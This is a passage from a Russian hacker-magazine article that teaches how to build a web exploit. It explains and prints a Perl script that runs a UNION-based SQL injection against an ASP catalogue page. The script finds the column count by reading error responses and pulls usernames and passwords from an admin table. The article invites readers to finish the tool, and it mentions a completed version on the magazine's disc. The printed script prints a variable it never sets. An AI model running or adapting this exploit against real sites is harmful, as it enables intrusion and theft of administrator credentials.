Сплойт для web'а Никита Кислицин Хакер, номер #079, стр. 079-058-3 2) соединение с указанным узлом 3) составление и отправка HTTP-запроса 4) обработка возвращаемой информации. В нашем случае, поскольку нам сначала необходимо составить корректный SQL-запрос, пункты 2-4 будут выполняться многократно. Первый запрос, который мы отправляем, выбирает из таблицы 10 полей (начинать перебор с 1 поля нет смысла). Если при его выполнении возникает ошибка (число колонок в оригинальном запросе другое), мы добавляем еще одно поле к нашему запросу. И так до тех пор, пока запрос не выполнится корректно. Если ты внимательно читаешь, у тебя должен был появиться вопрос: каким образом можно понять, выполнился ли корректно наш запрос, или же произошла ошибка. Очень легко! Если ты посмотришь код сплойта, который находится чуть ниже, то увидишь там строку, где я проверяю, есть ли в ответе сервера набор символов «Internal Server Error». Если эта строка присутствует, считается, что запрос не выполнен, и надо увеличивать число выбираемых полей. Справедлив вопрос: а во всех ли случаях при возникновении ошибки web-сервер выплевывает именно эту фразу? Справедливый ответ: нет, это зависит от установленного web-сервера и версии ASP. Так, модница ASP .NET ругается по-новому: «Database Engine error» - это предложение так же обрабатывается моим сплойтом. Наш нехитрый сплойт #!/usr/bin/perl use IO::Socket; $host = $ARGV[0]; $path = $ARGV[1]; $port=80; $se="error_occ"; $i=0; while($se=~/error_occ/) { socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); $iaddr = inet_aton($host); $paddr = sockaddr_in($port, $iaddr); connect(SOCK, $paddr); $quest="GET $path/catinfo.asp?cat='%20union%20select%201,pass,user,1,1,1,1,1,1,1"; for($j=0; $j<$i;$j++) { $quest.=",1"; } $quest.="%20from%20tblAdm"; $quest.=" HTTP/1.1\n"; $quest.="Host: $host\n\n\r\n\n"; send (SOCK, $quest, 0); $se="no_error"; while($data=<SOCK>) { if ($data=~/Internal Server Error/ or $data=~/Database Engine error/) { $se="error_occ";}} close(SOCK); $i++; } print "[+]Optimal number of params found: ".$k."\n"; XXXXXXXXXXXXXXXX [соблюдай очередность!] После того, как запрос составлен, можно уже переходить к анализу возращенной страницы: внутри нее лежит имя пользователя и пароль из таблицы tblAdm. Как же получить доступ к этой информации, как отличить пароль от каких-то левых символьных данных, которых полно на странице? Дело в том, что даже на различных сайтах, с различным количеством информации, разным дизайном и т.д., при определенном порядке выбираемых полей можно добиться того, что интересующие поля поместятся в такое место html-документа, где их легко можно будет опознать. К примеру, в запросе select 1,pass,user,1,1,1,1,1,1,1 такая очередность выбрана неслучайно: в этом случае выбираемые параметры помещаются в следующую конструкцию: <a href="fileinfo.asp?file_id=frankiha" class="large">frank</a> Здесь frankiha – пароль пользователя frank. Само собой, что таких ссылок в html-документе больше нет, и поэтому двумя строчками кода из горы текста выдирается именно этот тег. Получить раздельно логин и пароль – это уже дело техники, причем реализовать это можно многими путями. На самом деле, я тебе сообщил proof-of-concept дальнейших действий и предоставляю возможность самому немного попрограммировать. В самом деле, если тебе интересно попробовать собственные силы, допиши приведенный здесь сплойт. Если же у тебя возникнут проблемы, на нашем диске ты найдешь завершенный вариант отмычки, с красивым выводом, проверками на некорректное использование и т.д. |